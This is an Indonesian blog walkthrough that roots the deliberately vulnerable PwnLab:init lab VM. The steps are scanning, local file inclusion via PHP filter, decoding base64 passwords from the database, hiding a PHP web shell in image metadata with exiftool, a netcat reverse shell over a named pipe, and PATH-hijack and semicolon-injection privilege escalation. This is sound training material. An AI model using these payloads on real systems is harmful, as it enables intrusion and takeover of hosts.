PwnLab:init Walk Through

30 October 2016 by Harry Adinanta . 0 Comment

Daftar Isi

  1. Latar Belakang
  2. Mempersiapkan Virtual Machine (VM)
  3. Pengumpulan Informasi / Information Gathering
  4. Enumerasi Layanan / Service Enumeration
  5. Mengeksploitasi / Exploit
  6. Meningkatkan Hak Akses
  7. Selanjutnya

Latar Belakang

PwnLab:init adalah sebuah Virtual Machine (VM) dimana Sistem Operasi dan aplikasi yang berjalan diatasnya sengaja dibuat rentan / vulnerable sehingga dapat dieksploitasi. Tujuannya adalah agar kita dapat belajar mendeteksi, menganalisa dan kemudian mengeksploitasi kelemahan maupun kesalahan konfigurasi yang ada pada Aplikasi dan Sistem Operasi. Proses pembelajaran ini sangat berguna bagi kita yang berprofesi sebagai penguji keamanan Informasi / Security Penetration Tester dan juga yang bertugas mengamankan aset Informasi / Security defense professional.

VM ini dibuat oleh penggiat keamanan Informasi dengan nama panggilan Claor. VM ini disediakan secara gratis dan dapat diunduh langsung dari web vulnhub.com. Dalam artikel ini, saya mencoba membahas selangkah demi selangkah bagaimana kita mengidentifikasi, menganalisa dan kemudian mengeksploitasi kelemahan yang ada untuk mendapatkan hak akses ke VM tersebut sebagai root.

Semoga artikel ini bermanfaat dan dapat memberikan pelajaran bagi saya pribadi dan juga pembaca.

Mempersiapkan Virtual Machine (VM)

Tentu hal pertama yang perlu kita lakukan adalah mempersiapkan semua kebutuhan seperti:

  1. Download PwnLab:init VM di vulnhub.com
  2. Download KALI Linux VM di kali.org. Apabila menggunakan distribusi linux lainnya, pastikan tools seperti nmap, metasploit framework, dirbuster, nikto, burpsuite dan wpscan telah terinstall
  3. Download Vmware Workstation atau Virtualbox apabila anda menggunakan windows atau Vmware Fusion apabila menggunakan MAC.

Pengumpulan Informasi / Information Gathering

Sebelum kita menganalisa dan kemudian mengeksploitasi kerentanan yang ada di VM PwnLab:init, kita harus terlebih dahulu mengumpulkan Informasi sebanyak mungkin tentang Sistem Operasi (OS) serta aplikasi-aplikasi yang digunakan. Kita mulai aktifitas pengumpulan Informasi ini dengan terlebih dahulu mengidentifikasi alamat IP PwnLab:init menggunakan nmap. Alamat IP yang diberikan oleh Vmware Fusion ke Kali Linux VM saya adalah 172.16.65.141/24 sehingga dapat dipastikan bahwa PwnLab:init juga akan mendapatkan IP di segment network yang sama karena network adapter kedua VM tersebut telah di set ke “Share with my Mac”. Untuk itu, kita akan melakukan scan terhadap segment network tersebut menggunakan perintah nmap berikut:

nmap -Pn 172.16.65.0/24

alt text

Dari hasil scan diatas, kita akhirnya dapat mengetahui alamat IP yang digunakan oleh PwnLab:init yaitu 172.16.65.164. Selain mengetahui alamat IP, kita juga dapat melihat TCP port yang terbuka. Namun demikian, proses scanning ini tidak komprehensive dan hanya melakukan probing terhadap TCP port yang umum dan sering digunakan. Agar tidak ada satu port pun yang terlewatkan, kita lakukan “all-port scanning” berikut ini:

nmap -p- 172.16.65.164

alt text

Setelah semua port kita scan, ada tambahan port yang telihat yaitu port TCP 43224. Selain itu kita juga perlu memastikan apakah ada layanan yang berjalan di port UDP dengan melakukan UDP scanning dibawah ini

nmap -sU 172.16.65.164

alt text

Kita hanya menemukan satu layanan yang berjalan di port UDP yaitu rpcbind dengan port 111

Enumerasi Layanan / Service Enumeration

Langkah selanjutnya adalah melakukan enumerasi terhadap semua layanan yang tersedia di PwnLab:init. Hal ini perlu kita lakukan karena kerentanan pada suatu aplikasi atau layanan hanya akan dapat teridentifikasi apabila kita mengetahui secara mendalam tentang layanan tersebut.

Berdasarkan hasil scan diatas, berikut layanan yang telah ditemukan dan akan dilakukan enumerasi lebih lanjut:

Enumerasi HTTP

Layanan pertama yang akan kita telusuri adalah aplikasi web yang berjalan di port 80. Sebelum kita mengenumerasi lebih lanjut, ada baiknya kita mengetahui jenis serta versi web server yang digunakan oleh target. Kita akan memanfaatkan nmap dengan opsi -A berikut

nmap -A -p80 172.16.65.164

alt text

Dari Informasi diatas, kita bisa mengetahui bahwa target menggunakan web server apache versi 2.4.10. Berdasarkan judul http, sepertinya aplikasi yang berjalan di web server ini berfungsi sebagai Intranet Image Hosting. Ini tentu masih berupa dugaan karena judul http belum tentu mengindikasikan fungsi asli aplikasi. Namun Informasi tersebut akan kita validasi lebih lanjut.

Langkah berikutnya adalah mengenal lebih dalam tentang aplikasi ini menggunakan nmap script http-enum. Berikut hasil enumerasi yang kita peroleh.

nmap -p80 --script http-enum 172.16.65.164

alt text

Hasil enumerasi nmap mengindikasikan adanya beberapa folder yang menarik dan perlu ditelusuri secara manual. Selain nmap, kita juga coba enumerasi layanan ini menggunakan nikto dengan harapan mendapatkan hasil yang lebih rinci.

nikto -h 172.16.65.164

alt text

Seperti harapan kita, nikto berhasil mendapatkan tambahan Informasi yaitu ditemukannya file bernama config.php. Untuk melihat rangkaian utuh aplikasi ini, kita akan menggunakan browser dan mengeksekusi seluruh link / fitur yang disediakan.

alt text

Setelah itu, kita coba mengakses folder-folder yang ditemukan oleh nmap.

alt text

alt text

alt text

Setelah membuka folder yang menarik dan mengakses semua fitur / link yang tersedia, kita bisa mengasumsikan adanya kemungkinan kerentanan File Inclusion. Hal ini bisa terlihat dari halaman utama yaitu index.php yang meng-include file php lainnya melalui parameter “page”. Salah satu contohnya adalah saat kita klik link “login”, halaman depan index.php menampilkan hasil dari eksekusi file login.php

alt text

Untuk membuktikan adanya kerentanan File Inclusion, kita coba baca file /etc/passwd melalui parameter “page”. Namun sebelum request ini di-submit atau dikirim, kita tidak lupa menyertakan null byte (%00) diakhir nama file yang akan kita include agar PHP interpreter mengabaikan extention “.php” yang secara otomatis dibubuhkan oleh aplikasi pada setiap file yang di-include. Perlu diingat juga bahwa teknik ini hanya bisa dilakukan terhadap PHP engine versi 5.3 kebawah.

alt text

Hasil diatas sangat mengecewakan dimana File Inclusion gagal membaca file /etc/passwd. Hal ini mungkin terjadi karena PHP interpreter tidak memproses Null byte (%00) sehingga extention .php selalu dibubuhkan di akhir nama file. Dalam kasus ini, file yang di-include menjadi “passwd.php” yang tentunya tidak ada.

Karena kita tahu bahwa aplikasi akan selalu membubuhkan extention “.php” di setiap file yang di-include, maka kita coba memanfaatkan fungsi “PHP filter” untuk meng-encode isi atau source code file PHP yang tersimpan di web server dan kemudian meng-include nya melalui paramater “page”. Tujuannya? agar file php yang kita include tidak dieksekusi oleh PHP interpreter sehingga kita bisa melihat isi atau source code yang terkandung dalam file tersebut. Berikut pemanfaatan “PHP filter” untuk membaca beberapa source code aplikasi PwnLab:init.

Membaca source code index.php

Selanjutnya kita akan membaca source code yang ada pada link “upload” yaitu “upload.php”. Menggunakan teknik yang sama, kita coba menganalisa cara kerja fungsi upload. Berikut source code upload.php

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];			
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}
?>

Dari source code diatas, kita bisa mengetahui hal berikut:

1.Untuk mengupload, user harus terlebih dahulu dalam keadaan login

session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }

2.Hanya file yang memiliki extention gambar atau image yang diperbolehkan untuk di upload.

$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');

3.Informasi jenis file yang disertakan saat mengupload file melalui POST method harus berjenis gambar atau image.

if(strpos($filetype,'image') === false) {
			die('Error 001');
}

4.Jenis MIME file yang diupload harus mengindikasikan gambar atau image

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');

5.Setelah file gambar atau image berhasil ter-upload, aplikasi akan mengganti nama file dan kemudian membubuhkan extention gambar sesuai dengan extention yang teah tervalidasi sebelumnya. Apabila penggantian ini selesai, maka gambar akan disimpan di folder upload dan menampilkannya ke layar.

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";

Dari analisa fungsi upload.php, kita bisa menyimpulkan bahwa file yang diupload harus berjenis image dan beberapa cara untuk manipulasi extention yang disertai dengan manipulasi POST header akan kurang efektif untuk menghindari proses validasi. Salah satu penghambatnya adalah adanya proses pembubuhan file extention yang telah tervalidasi saat dilakukan pergantian nama file yang diupload.

Selain itu, kita harus terlebih dahulu memiliki username dan password yang valid apabila kita ingin memanfaatkan fitur ini untuk mengupload file gambar yang disisipkan dengan shell code.

Enumerasi RPCBIND

Layanan yang berikutnya adalah RPCBIND yang berjalan di port TCP dan UDP 111. Setelah melakukan scan terhadap layanan ini, kita belum bisa memperoleh Informasi yang menarik untuk dieksploitasi

alt text

Enumerasi MySQL

MySQL server yang berjalan di TCP port 3306 perlu di-enumerasi lebih lanjut. Terlebih, kita berhasil mendapatkan password akun root dari file config.php yang kita baca melalui file inclusion. Sebelum kita mencoba melakukan remote login ke MySQL, kita telebih dahulu melakukan scan menggunakan nmap scripting.

alt text

Setelah itu, kita coba login ke MySQL menggunakan password akun root yang kita temukan sebelumnya.

alt text

Hasil diatas sangat menggembirakan karena kita bisa dengan leluasa melakukan enumerasi dari dalam SQL. Berikut Informasi yang kita peroleh

alt text

Melihat Informasi yang tersimpan di field user dan pass, kita dapat menyimpulkan bahwa ini adalah credential yang digunakan untuk login ke aplikasi. Adanya karakter “==” di password string mengindikasikan bahwa password di-encode menggunakan base-64. Dengan menerapkan teknik decoding sebelumnya, kita dapat dengan mudah membaca password tersebut dalam format clear text. Berikut hasil decoding string password

root@kali:~# python3
Python 3.5.1+ (default, Jan 13 2016, 15:09:18) 
[GCC 5.3.1 20160101] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> 
>>> kent_pass_encoded = 'Sld6WHVCSkpOeQ=='
>>> mike_pass_encoded = 'U0lmZHNURW42SQ=='
>>> kane_pass_encoded = 'aVN2NVltMkdSbw=='
>>> 
>>> print(str(base64.b64decode(kent_pass_encoded),'UTF-8'))
JWzXuBJJNy
>>>
>>> print(str(base64.b64decode(mike_pass_encoded),'UTF-8'))
SIfdsTEn6I
>>> 
>>> print(str(base64.b64decode(kane_pass_encoded),'UTF-8'))
iSv5Ym2GRo
>>> 

Dengan demikian, kita bisa menggunakan akun berikut ini untuk login ke aplikasi:

Mengexploitasi / Exploit

Sebelum exploitasi dimulai, berikut adalah ringkasan kerentanan yang kita temukan selama proses enumerasi:

  1. Halaman index.php rentan terhadap Local File Inclusion di header COOKIE dengan parameter “lang” Halaman
  2. index.php rentan terhadap Local File Inclusion di GET request dengan parameter “page”
  3. Password akun aplikasi berhasil diungkap

Kita akan memanfaatkan kerentanan ini untuk masuk ke sistem operasi PwnLab:init dengan hak akses terbatas. Kita akan mulai dengan terlebih dahulu login ke aplikasi menggunakan akun kent

alt text

Setelah itu, kita akan coba mengunggah program shell ke sistem operasi target melalui fitur upload di aplikasi. Seperti yang kita ketahui, hanya file jenis gambar atau image saja yang diperbolehkan aplikasi untuk diunggah sehingga usaha untuk mengunggah file program pasti akan gagal.

Untuk mengatasi ini, kita akan menyisipkan program shell ke dalam metadata milik file image yang kita upload. Proses ini bisa dilakukan menggunakan program exiftool. Berikut metadata asli file image yang akan kita upload ke target

alt text

kita akan menyisipkan PHP shell code sederhana seperti ‘’ ke dalam metadata comment menggunakan exiftool berikut

root@kali:~/Desktop# exiftool -comment='<?php echo shell_exec($_GET["cmd"]);?>' gambar.jpg
    1 image files updated
root@kali:~/Desktop#

alt text

Setelah shell code berhasil disisipkan ke metadata gambar, kita akan upload gambar ini ke aplikasi. Apabila file image berhasil diunggah, maka aplikasi akan menampilkannya kembali ke layar

alt text

alt text

Langkah selanjutnya adalah memastikan bahwa file image telah tersimpan di dalam folder upload

alt text

Dengan memanfaatkan kerentanan Local File Inclusion yang ada di bagian “COOKIE header” index.php, kita akan menginstruksikan target untuk mengeksekusi shell code yang terkandung di image yang telah kita upload. Untuk itu, kita harus meng-incude file image tersebut melalui parameter “lang” di COOKIE header dan kemudian memberikan perintah yang kita inginkan melalui parameter “cmd” di GET request.

alt text

Dari hasil diatas, kita sudah berhasil berinteraksi dengan sistem operasi target. Agar mempermudah proses enumerasi, kita akan menginstruksikan target untuk membuat koneksi netcat ke Kali linux kita. Namun sebelum itu, kita harus membuat file namepipe atau FIFO di folder tmp dan kemudian mengarahkan atau mem-PIPE netcat ke file tersebut. Berhubung perintah ini akan dikirim melalui “GET” request, maka kita harus melakukan “encoding” agar kompatibel dengan format URL. Berikut proses encoding perintah:

root@kali:~# python3
Python 3.5.1+ (default, Jan 13 2016, 15:09:18) 
[GCC 5.3.1 20160101] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> from urllib.parse import quote
>>> 
>>> print(quote('mknod /tmp/backpipe p')) #perintah mknod diencode
mknod%20/tmp/backpipe%20p
>>> 
>>> print(quote('/bin/sh 0</tmp/backpipe | nc 172.16.65.141 443 1>/tmp/backpipe')) #perintah netcat diencode
/bin/sh%200%3C/tmp/backpipe%20%7C%20nc%20172.16.65.141%20443%201%3E/tmp/backpipe
>>> 
>>>

Setelah perintah diencode, kita akan terlebih dahulu mengaktifkan netcat di kali linux linux agar dapat menerima koneksi dari target dan kemudian mengeksekusi dia perintah diatas secara bergantian menggunakan burp suite.

nc -nvlp 443

alt text

alt text

Setelah perintah kedua dieksekusi, kita akan mendapatkan koneksi netcat dari target seperti dibawah ini

alt text

Meningkatkan Hak Akses / Privilege Escalation

Perjalanan kita untuk mengambil-alih target secara penuh belum selesai karena kita baru mendapatkan hak akses yang terbatas. Dalam kesempatan ini kita mencoba meningkatkan hak akses sebagai root dengan cara mencari kerentanan atau kesalahan konfigurasi yang dapat dieksploitasi.

Dengan memanfaatkan password dan akun yang kita peroleh dari database, kita mencoba untuk melakukan subtitute user atau “su” dari akun www-data. Percobaan ini membuahkan hasil dimana kita berhasil login sebagai kane.

alt text

Dari home directory kane, kita bisa melihat adanya program executable bernama “msgmike” dan diset dengan hak akses SUID. Artinya, program ini akan berjalan sebagai user lain yaitu “mike” seperti yang tertera diatas. Saat kita eksekusi program ini, muncul error dimana “cat” tidak bisa menemukan dan membaca file “msg.txt”.

alt text

Kondisi ini dapat kita manfaatkan agar program mengeksekusi “cat” buatan kita yang disimpan dalam direktori yang kita inginkan. Agar hal ini bisa dilakukan, kita harus terlebih dahulu mengubah “PATH environment” agar program “msgmike” terlebih dahulu mencari “cat” di lokasi baris PATH yang pertama. Setelah itu, kita buat versi “cat” kita untuk kemudian dieksekusi oleh program “msgmike”.

alt text

Setelah home folder kane ditambahkan menjadi baris pertama di PATH environment, kita kemudian membuat “cat” versi kita dimana “cat” akan menjalankan shell “/bin/sh”

alt text

Langkah berikutnya adalah mengeksekusi kembali program “msgmike” dan seperti yang kita harapkan, shell berhasil dijalankan dalam konteks akun “mike”

alt text

Dengan hak akses sebagai mike, kita coba masuk ke home directory mike dan melihat apakah ada petunjuk untuk meng-eskalasi hak akses ke root.

alt text

Di home folder tersebut, kita menjumpai lagi program yang diset dengan hak akses SUID. Namun kali ini sangat menjanjikan dimana SIUD diset dengan akun root yang artinya program tersebut akan dieksekusi dalam konteks akun root. Saat dieksekusi, program meminta input dan kemudian menjalankan “echo” dari shell terhadap input yang diberikan. Dengan kondisi ini, kita akan memanfaatkannya dengan memberikan perintah ke shell setelah echo selesai mencetak string yang kita berikan. Agar shell mengeksekusi perintah kita setelah mengeksekusi echo, maka kita bubuhkan “;” yang artinya terdapat 2 perintah yang harus dieksekusi oleh shell.

Perintah yang ingin kita berikan ke shell adalah program shell juga yang tentunya program ini akan berjalan dalam konteks root

alt text

Karena kita sudah berhasil menjalankan shell dalam konteks root, kita akan lihat home directory root untuk mencari flag yang diinginkan

alt text

BOOM!!! akhirnya kita berhasil mendapatkan flag di home directory root.

Selanjutnya

Selamat mencoba dan apabila memungkinkan cari kerentanan lainnya untuk masuk ke Sistem Operasi (OS) target dengan hak akses terbatas. Mungkin terdapat beberapa kerentanan lainnya yang bisa dimanfaatkan untuk meningkatkan hak akses ke root.